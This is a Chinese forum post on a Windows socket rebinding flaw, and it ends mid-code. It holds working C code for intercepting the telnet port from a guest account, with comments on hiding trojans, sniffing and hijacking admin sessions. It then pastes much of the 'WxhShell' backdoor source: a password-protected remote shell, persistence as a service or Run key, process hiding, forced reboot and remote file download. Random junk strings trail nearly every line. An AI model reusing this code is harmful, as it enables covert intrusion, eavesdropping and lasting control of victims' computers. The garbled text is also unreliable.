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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D PrBFmHF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +u@aJ_^  
X.ONa_  
  saddr.sin_family = AF_INET; 2c<&eX8"  
%I!:ITa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IUGz =%[  
A>VI{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?6Cz[5\  
[=uo1%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DfJ2PX}q  
{qKxz9.y  
  这意味着什么?意味着可以进行如下的攻击: v]2S`ffP  
d;tkJ2@NO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bLz*A-  
f0+2t.tj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uBg 8h{>  
D0Z\Vvy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RO\gax  
ufa41$B'yG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]"AyAkT(  
QVZD/shq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d "BW/%m|g  
@Un/c:n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _ |<d5TI  
J )BI:]m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y9SGRV(  
j$fAq\B  
  #include v8>v.}y  
  #include ->-*]-fv[L  
  #include `Yc _5&"  
  #include    YF#H Sf7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F0~k1TDw  
  int main() g1(Xg.  
  { ]!1OH |Ad  
  WORD wVersionRequested; +ww^ev%  
  DWORD ret; ||2Q~*:  
  WSADATA wsaData; 5_K5?N  
  BOOL val; F}Mhs17!|  
  SOCKADDR_IN saddr; G DSfT{kK\  
  SOCKADDR_IN scaddr; ;S$Ll*f>D  
  int err; dN Y"]b  
  SOCKET s; 0?7XtC P<  
  SOCKET sc; PZ:u_*Vu`  
  int caddsize; I^*'.z!4Q  
  HANDLE mt; P`$12<\O1  
  DWORD tid;   Ocg"M Gb  
  wVersionRequested = MAKEWORD( 2, 2 ); ^s7,_!.Pq  
  err = WSAStartup( wVersionRequested, &wsaData ); !2Dy_U=  
  if ( err != 0 ) { `T ^G^7&  
  printf("error!WSAStartup failed!\n"); >: 0tA{bV  
  return -1; 1,2EhfX|s  
  } UbJ*'eoX  
  saddr.sin_family = AF_INET; >QQ(m\a$  
   KYJ1}5n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (lA.3 4.p  
VCNT4m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qg z*'_S  
  saddr.sin_port = htons(23); NCeaL-y7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {!ZyCi19  
  { XCB?ll*^  
  printf("error!socket failed!\n"); r'/;O  
  return -1; OL59e %X  
  } ofc.zwH  
  val = TRUE; a<XCNTaVT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =<f-ob8,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jdut4 nFc  
  { `Y?t@dd  
  printf("error!setsockopt failed!\n"); hVoNw6fE  
  return -1;  R)Q 4  
  } <x%M3BTx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dkw%`(Oh/,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O[~x_xeW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ClW'W#*(Y  
2)iD4G`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uE_c4Hp  
  { xc 1A$EY  
  ret=GetLastError(); jX=lAs~6  
  printf("error!bind failed!\n"); @ $cUNvI  
  return -1; `cP <}^]  
  } \L!uHAE2a  
  listen(s,2); `&7RMa4=  
  while(1) r2*<\ax  
  { )9"oL!2h  
  caddsize = sizeof(scaddr); :LJ7ru2  
  //接受连接请求 )yee2(S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y,z??bm~J  
  if(sc!=INVALID_SOCKET) u.|~   
  { ={(j`VSUX0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4|J[Jdj  
  if(mt==NULL) AG"l1wz  
  { 7l8[xV  
  printf("Thread Creat Failed!\n");  aA*9,  
  break; dFW=9ru+MQ  
  }  |qcD;  
  } %(m ])  
  CloseHandle(mt); uq7T{7~<  
  } Os),;W0w4  
  closesocket(s); V}8$p8#<@  
  WSACleanup(); Bl.u=I:Y4  
  return 0; eBB:~,C^q.  
  }   :1fagaPg  
  DWORD WINAPI ClientThread(LPVOID lpParam) oT+(W,G  
  { }F1s tDx  
  SOCKET ss = (SOCKET)lpParam; PB'0?b}fab  
  SOCKET sc; }Ag|gF!_  
  unsigned char buf[4096]; SQ(apc}N4  
  SOCKADDR_IN saddr; J}g~uW  
  long num; y%BX]~  
  DWORD val; _uH9XGm  
  DWORD ret; G"s0GpvQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7| YrdK<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r((Tavn  
  saddr.sin_family = AF_INET; _j#SpL'P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wvc>0?t'  
  saddr.sin_port = htons(23); '8Wv.X0`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "X1vZwK8N  
  { *$,+`+  
  printf("error!socket failed!\n"); i s"vekC  
  return -1; "ORzWnE4U  
  } V 2znU  
  val = 100; Rq)BssdF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R"xp%:li  
  { Eek9|i"p  
  ret = GetLastError(); QX0 Y>&$ )  
  return -1; ;_JH:}j  
  } [$\>~nj=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) : iCM=k  
  { XF,<i1ZlM  
  ret = GetLastError(); ~uaP$*B[  
  return -1; tm)*2lH6  
  } ~t/JCxa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hhv$4;&X  
  { hY;_/!_  
  printf("error!socket connect failed!\n"); 8[5|_Eh+  
  closesocket(sc); Lyoor1   
  closesocket(ss); Pn WD}'0V  
  return -1; 3;/?q  
  } F|eu<^"$ H  
  while(1) pG yRX_;  
  { +$pJ5+v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X-Ycz 5?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =I4.Gf"~f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \KM|f9-b  
  num = recv(ss,buf,4096,0); F-0UdV  
  if(num>0) k$[{n'\@  
  send(sc,buf,num,0); 'F_}xMU  
  else if(num==0) }=@zj6AC  
  break; T0 |H9>M  
  num = recv(sc,buf,4096,0); YdOUv|tZC  
  if(num>0) P#tvm,  
  send(ss,buf,num,0); tHI*,  
  else if(num==0) "DckwtG:%  
  break; 1bRL"{m^)-  
  } %?tq;~|]Q  
  closesocket(ss); Z;<ep@gy~  
  closesocket(sc); U</+.$b  
  return 0 ; kV)' a  
  } Fj=NiZ=  
0'yyfz  
U"5q;9#q  
========================================================== ])$S\fFm  
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下边附上一个代码,,WXhSHELL N lt4)  
a!t V6H  
========================================================== p.Y$A if.  
YNM\pX'  
#include "stdafx.h" f5?hnt`m  
dF,DiRD  
#include <stdio.h> i$O#%12l  
#include <string.h> XiG88Kwv  
#include <windows.h> &%e"9v2`  
#include <winsock2.h> )BLmoJOf  
#include <winsvc.h>  U42\.V0  
#include <urlmon.h> 1g i}H)  
q<XcOc5  
#pragma comment (lib, "Ws2_32.lib") k,]{NO   
#pragma comment (lib, "urlmon.lib") s/ S+ ec3  
L?f qcW{  
#define MAX_USER   100 // 最大客户端连接数 1URsHV!xcM  
#define BUF_SOCK   200 // sock buffer bOXh|u_3i  
#define KEY_BUFF   255 // 输入 buffer 6Bdyf(t  
b\L)m (  
#define REBOOT     0   // 重启 %HEmi;  
#define SHUTDOWN   1   // 关机 `@$YlFOW  
9p<:LZd~  
#define DEF_PORT   5000 // 监听端口 +{ab1))/  
#$uZDQY_  
#define REG_LEN     16   // 注册表键长度 P1QB`&8F  
#define SVC_LEN     80   // NT服务名长度 -A@U0=o  
[+DNM 2A  
// 从dll定义API 7ukDS]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tJ>d4A;8x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7xDN.o*>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zjWyGt(Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IMR$x(g= F  
nO [QcOf  
// wxhshell配置信息 nDn{zea7  
struct WSCFG { KgU[  
  int ws_port;         // 监听端口 s}!"a8hU`  
  char ws_passstr[REG_LEN]; // 口令 *2:Yf7rvI+  
  int ws_autoins;       // 安装标记, 1=yes 0=no *]9XDc]{j1  
  char ws_regname[REG_LEN]; // 注册表键名 WFdem/\kX  
  char ws_svcname[REG_LEN]; // 服务名 +-k`x0v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /O"0L/hc^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2o}8W7y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }q x(z^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :+A; TV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9jjL9f_3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [r~~=b7*[  
GD/nR4$  
}; c=<v.J@K  
s @3 zx  
// default Wxhshell configuration &@Yoj%%  
struct WSCFG wscfg={DEF_PORT, WFks|D:sB  
    "xuhuanlingzhe", ~pwY6Q  
    1, pb= HVjW<  
    "Wxhshell", 6KBHRt  
    "Wxhshell", b6$4Ul-.  
            "WxhShell Service", @%7/2k  
    "Wrsky Windows CmdShell Service", X)FQ%(H<  
    "Please Input Your Password: ", {&b-}f"m  
  1, ^)'||Ly  
  "http://www.wrsky.com/wxhshell.exe", ,DQ >&_DK  
  "Wxhshell.exe" rr6"Y&v  
    }; Z~B+*HF  
1r&AB!Z #  
// 消息定义模块 QD6Z=>?S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l>33z_H^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ";58B} ki  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _"`/^L`Q?  
char *msg_ws_ext="\n\rExit."; P:vX }V |[  
char *msg_ws_end="\n\rQuit."; k.ww-nH  
char *msg_ws_boot="\n\rReboot..."; gGD]t;<u  
char *msg_ws_poff="\n\rShutdown..."; [/n' @cjNZ  
char *msg_ws_down="\n\rSave to "; _c,&\ wl$  
LDSbd,GF  
char *msg_ws_err="\n\rErr!"; yl|R:/2V  
char *msg_ws_ok="\n\rOK!"; PK9Qm'W b  
Pyit87h{  
char ExeFile[MAX_PATH]; r]Z.`}Kkm  
int nUser = 0; |oB]6VS`  
HANDLE handles[MAX_USER]; [kQ"6wh8  
int OsIsNt; SwQOFE/Dv~  
O/'f$Zj36  
SERVICE_STATUS       serviceStatus; Zr~"\llk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M|aQ)ivh3  
Oym]&SrbS  
// 函数声明 >4Fd xa  
int Install(void); a:wJ/ p  
int Uninstall(void); +2f> M4q  
int DownloadFile(char *sURL, SOCKET wsh); 8cequAD  
int Boot(int flag); g8B&u u #  
void HideProc(void); P/HHWiD`D  
int GetOsVer(void); ],WwqD=  
int Wxhshell(SOCKET wsl); k0R, !F  
void TalkWithClient(void *cs); :1%VZvWk*  
int CmdShell(SOCKET sock); NF@i#:  
int StartFromService(void); y;*My#  
int StartWxhshell(LPSTR lpCmdLine); A Z]Z,s6  
C5d/)aC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bK6, saN>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); an #jZ[  
:Fq2x_IUE  
// 数据结构和表定义 ei(| 5h  
SERVICE_TABLE_ENTRY DispatchTable[] = R#r h  
{ k$Nx6?8E  
{wscfg.ws_svcname, NTServiceMain}, `\6 +z  
{NULL, NULL} sT@u3^>  
}; (gv=P>:  
<;.}WQC  
// 自我安装 * N2#{eF&]  
int Install(void) * , |)~$=>  
{ nau~i1  
  char svExeFile[MAX_PATH]; BNF++<s  
  HKEY key; s2kGU^]y  
  strcpy(svExeFile,ExeFile); P DNt4=C  
vWZ>Hf]`L  
// 如果是win9x系统,修改注册表设为自启动 _ +u sn.  
if(!OsIsNt) { @|JPE%T   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )[F46?$vrk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jLpgWt`8)E  
  RegCloseKey(key); xUV_2n+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mJU>f-l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k|)^!BdO  
  RegCloseKey(key); !:R^}pMhIk  
  return 0; U]1>?,Nk'3  
    } ci#Zvhtk r  
  } i&? 78+:  
} q>wa#1X)  
else { 89?3,k  
`XFX`1  
// 如果是NT以上系统,安装为系统服务 ~{kA) :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j58Dki->.  
if (schSCManager!=0) `Nxo0Q  
{ %`8KG(F^  
  SC_HANDLE schService = CreateService AiR%MD  
  ( j X^&4f  
  schSCManager, !c3Qcva  
  wscfg.ws_svcname, 4C2>0O<^s  
  wscfg.ws_svcdisp, 6Vu}k K)  
  SERVICE_ALL_ACCESS, yAZ.L/jyr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x(T!I&i={  
  SERVICE_AUTO_START, bF8xQ<i~Y  
  SERVICE_ERROR_NORMAL, :d:|7hlNQ  
  svExeFile, Q)7L^  
  NULL, ZKiL-^dob  
  NULL, QmDhZ04f  
  NULL, R  oF  
  NULL, j.G.Mx"  
  NULL >"m@qkh  
  ); +)''l  
  if (schService!=0) -O5(%  
  { /I`!i K  
  CloseServiceHandle(schService); UlLM<33_)  
  CloseServiceHandle(schSCManager); >V ]*mS %K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,AFC1t[0  
  strcat(svExeFile,wscfg.ws_svcname); ._F 6-pl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sj=69>m]5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K[3D{=  
  RegCloseKey(key); o 0cc+  
  return 0; /oix tO)  
    } Wtzj;GJj  
  } $ M[}(m  
  CloseServiceHandle(schSCManager); cxF?&0[mY  
} WPh |~]by<  
} DFZ:.6p  
]R3pBC"Jv  
return 1; olQ8s *  
} }G:uzud10  
Yqz[sz5+m  
// 自我卸载 JWm^RQ  
int Uninstall(void) ;JD3tM<  
{ ZE3ysLk m  
  HKEY key; 9OO_Hp#|9  
Kr}M>hF+|  
if(!OsIsNt) { PU/Br;2A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DJ2]NA$Q*  
  RegDeleteValue(key,wscfg.ws_regname); ba)YbP[  
  RegCloseKey(key); >Qbc(}w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1p "EE~ v  
  RegDeleteValue(key,wscfg.ws_regname); 9'*ZEl^?D  
  RegCloseKey(key); BC0c c[x  
  return 0; '|A5a+[  
  } +qW w-8  
} ^*UfCoj9Z  
}  W$VCST  
else { GO GXM4I  
G]NtX4'4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >7Sl( UY-  
if (schSCManager!=0) 6+f>XL#w  
{ 36A.h,~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oTV8rG  
  if (schService!=0)  _I}L$  
  { $CYpO}u#  
  if(DeleteService(schService)!=0) { Wj{Rp{}3  
  CloseServiceHandle(schService); i,b7Ft:F&  
  CloseServiceHandle(schSCManager); ^@5ui;JV  
  return 0; uW-- nXMs  
  } f/WM}Hpj  
  CloseServiceHandle(schService); -$MC  
  } Y" +1,?yH  
  CloseServiceHandle(schSCManager); gW pT:tX-  
} dK(%u9v  
} eYSGxcx  
S%gO6&^  
return 1; C.e|VzQa  
} gl\$jDC9  
/E  yg*#  
// 从指定url下载文件 w wRT$-!  
int DownloadFile(char *sURL, SOCKET wsh) a:%5.!Vd  
{ [W|7r n,q  
  HRESULT hr; ?;#3U5$v  
char seps[]= "/"; J ]^gF|  
char *token; 96E7hp !:  
char *file; 3% 4Mq6Q`  
char myURL[MAX_PATH]; e]B<\i\T  
char myFILE[MAX_PATH]; $cpQ7  
3 !w>"h0(  
strcpy(myURL,sURL); TKBK3N  
  token=strtok(myURL,seps); f(MHU   
  while(token!=NULL) w7?9e#> Z  
  { }b\q<sNE{  
    file=token; <l s/3!  
  token=strtok(NULL,seps); 1YD.jU^;HD  
  } /ZN5WK  
w58 QX/XG  
GetCurrentDirectory(MAX_PATH,myFILE); #YYvc`9  
strcat(myFILE, "\\"); Py0 i%pZ  
strcat(myFILE, file); *>*/|  
  send(wsh,myFILE,strlen(myFILE),0); K]*ERAfM%m  
send(wsh,"...",3,0); $>s@T(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2u H\8A+'f  
  if(hr==S_OK) e6xjlaKb  
return 0; 5$Q`P',*Ua  
else RIqxM  
return 1; MC)W?  
Wq&c,H  
} ]Tw6Fg1o>  
b/}0 &VXo  
// 系统电源模块 ea}KxLC`,  
int Boot(int flag) 7Bd_/A($  
{ V+ ~2q=  
  HANDLE hToken; >b](v)  
  TOKEN_PRIVILEGES tkp; {QkH%jj  
H0NyxG<  
  if(OsIsNt) { l hp:.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4n)Mx*{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N^`Efpvg  
    tkp.PrivilegeCount = 1; ?o'arxCxZn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >ZsK5v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !)3Su=*R  
if(flag==REBOOT) { Z'm%3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TBfl9Q  
  return 0; k6XmBBIj-  
} \eN/fTPm  
else { ?S:_J!vX{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I _G;;GF  
  return 0; p5t#d)  
} pra&A2Y\  
  } EPnB%'l\c  
  else { A8Y~^wn  
if(flag==REBOOT) { tV4aUve  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ap9w H[H  
  return 0; gq &85([  
} /! G0 g%k  
else { 8?pZZtad  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3iL&;D  
  return 0; o-Arfc3Q  
} tJ=zk3BN~  
} >9|+F [Fc  
swbD q  
return 1; C}E ea~  
} D8XXm lo  
f#b[KB^Z,2  
// win9x进程隐藏模块 {Vu:yh\<  
void HideProc(void) a8$pc>2E  
{ H@2+wr)$}  
m q9&To!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?&_\$L[  
  if ( hKernel != NULL ) Us.jyg7_c  
  { Z`M Q+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :gv#_[k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v 0H#\p  
    FreeLibrary(hKernel); =Ybu_>  
  } 9Ua@-  
an~Kc!Oki  
return; 8=uljn/  
} iOxygs#p  
Xw5" JE!.  
// 获取操作系统版本 '5\1uB PKW  
int GetOsVer(void) w+H=Xh4t  
{ Lq^/Z4L  
  OSVERSIONINFO winfo; 7]bq s"t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uM#/  
  GetVersionEx(&winfo); dI|/Xm>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K2Zy6lGOZ  
  return 1; } q(0uzaG  
  else _Qas+8NW  
  return 0; ]f?LQCTq<b  
} v>R.ou(  
Mt>DAk  
// 客户端句柄模块 'Ud5;?{  
int Wxhshell(SOCKET wsl) zFIKB9NUn  
{ ]=Q'1%  
  SOCKET wsh; 8Qh/=Ir  
  struct sockaddr_in client; _i#Z'4?2E  
  DWORD myID; 50A_+f.7%  
0Jr< >7Q1  
  while(nUser<MAX_USER) X)+N>8o?N  
{ fCR;Fk2B  
  int nSize=sizeof(client); i`;I"oY4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); duCm+4,.  
  if(wsh==INVALID_SOCKET) return 1; l?~h_8&fT  
OMU#Sx!6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hn)=:lI  
if(handles[nUser]==0) RZjR d  
  closesocket(wsh); sM K/l @7  
else B^{DCHu/  
  nUser++; Mv3Ch'X[  
  } Mtr~d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D~}4N1  
qMkP/BjV  
  return 0; +nuQC{^>  
} V<7Gd8rDMM  
8}"j#tDc  
// 关闭 socket 4w,}1uNEf  
void CloseIt(SOCKET wsh) 5I14"Qf  
{ $.kYAsZts  
closesocket(wsh); gFH_^~7i8p  
nUser--; N>_7Ltw/  
ExitThread(0); |j<'[gB\p  
} Hw Is7  
Gmb57z&:  
// 客户端请求句柄 t +_G%tv  
void TalkWithClient(void *cs) -uZ^UG!K  
{ ~+F: QrXcI  
{mDaK&]Oh  
  SOCKET wsh=(SOCKET)cs; 5V0=-K  
  char pwd[SVC_LEN]; ;&!l2UB%  
  char cmd[KEY_BUFF]; =@'"\ "Nh  
char chr[1]; G+}LLm.wX  
int i,j; }|d:(*  
HFazqQ[  
  while (nUser < MAX_USER) { tkmW\  
)Jc>l;G(M  
if(wscfg.ws_passstr) { tXx9N_/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LuVj9+1 S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a5iMCmL+  
  //ZeroMemory(pwd,KEY_BUFF); SV~xNzo~  
      i=0; y-U(`{[nM  
  while(i<SVC_LEN) { ,rKN/{M!  
DCm;dh  
  // 设置超时 Z7v~;JzC#  
  fd_set FdRead; }y1M0^M-$  
  struct timeval TimeOut; LLE~V~j  
  FD_ZERO(&FdRead); e0TnA N  
  FD_SET(wsh,&FdRead); 2a^(8A`7W  
  TimeOut.tv_sec=8; VXa]L4jJ9  
  TimeOut.tv_usec=0; 1#V0g Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B.|vmq,u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d3\8BKp  
I.>LG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;WhB2/5v  
  pwd=chr[0]; d7&PbITN  
  if(chr[0]==0xd || chr[0]==0xa) { G~PP1sf  
  pwd=0; Qmrcng}P  
  break; #SdaTMLFf  
  } 86Rit!ih  
  i++; OKP?^%kD  
    } &+ IXDU  
JjwuxZVr O  
  // 如果是非法用户,关闭 socket ><=af 9T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Xrq+O,  
} X}ZOjX!  
1li`+~L F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (#:Si~3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )D^P~2  
GHkSU;})  
while(1) { p#&6Ed*V  
'D4NPG`z  
  ZeroMemory(cmd,KEY_BUFF); ^~0 r+w61  
.cb mCFXL  
      // 自动支持客户端 telnet标准   Zj JD@,j  
  j=0; %F7aFvl*  
  while(j<KEY_BUFF) { &$=F $  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kK(633s  
  cmd[j]=chr[0]; )sQbDA|p  
  if(chr[0]==0xa || chr[0]==0xd) { Ub"\LUu  
  cmd[j]=0; 8c~H![2u  
  break; @EQ{lGpU3  
  } 23>?3-q  
  j++; B[$e;h*Aw[  
    } g (~&  
D"hiEz  
  // 下载文件 ck}y-,>,[O  
  if(strstr(cmd,"http://")) { b9U2afd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oH;Y}h  
  if(DownloadFile(cmd,wsh)) #\jPBLc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H0Tt(:.&  
  else T&c[m!}X|t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7+c@pEU]  
  } r'8e"pTi  
  else { 3S,pd0;  
5 xiYCOy  
    switch(cmd[0]) { y`N1I  
  Z` Aiw."|  
  // 帮助 (*EN!-/  
  case '?': { Ii9vA ^53  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8dpVB#]pp,  
    break; vL><Y.kOEs  
  } emHi= [!i  
  // 安装 WlY%f}l n  
  case 'i': { PQ5DTk  
    if(Install()) lRrOoON  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V6!oe^a7'  
    else #qPk,a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C?|gf?1p  
    break; 1/gh\9h  
    } 3drgB;:g`  
  // 卸载 Y5;:jYk#<_  
  case 'r': { q q`Uv U  
    if(Uninstall()) QW!'A`*x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y0Tb/&xN  
    else LC}]6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (]pQ.3  
    break; O-7 \qz  
    } |k)u..k{>  
  // 显示 wxhshell 所在路径 CkP!4^J qQ  
  case 'p': { 1?*vqdt  
    char svExeFile[MAX_PATH]; "}!vYr  
    strcpy(svExeFile,"\n\r"); * T-XslI  
      strcat(svExeFile,ExeFile); *8Lym,]  
        send(wsh,svExeFile,strlen(svExeFile),0); kTzZj|l^\  
    break; PvM<#zq_  
    } @<Y Za$`  
  // 重启 d ] [E;$  
  case 'b': { IL~yJx_11  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (d (whlF  
    if(Boot(REBOOT)) M,9WF)p)V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0t9G $23  
    else { Fm@GU  
    closesocket(wsh); t;*'p  
    ExitThread(0); `R^)< v*  
    } T}zi P  
    break; [ -%oO  
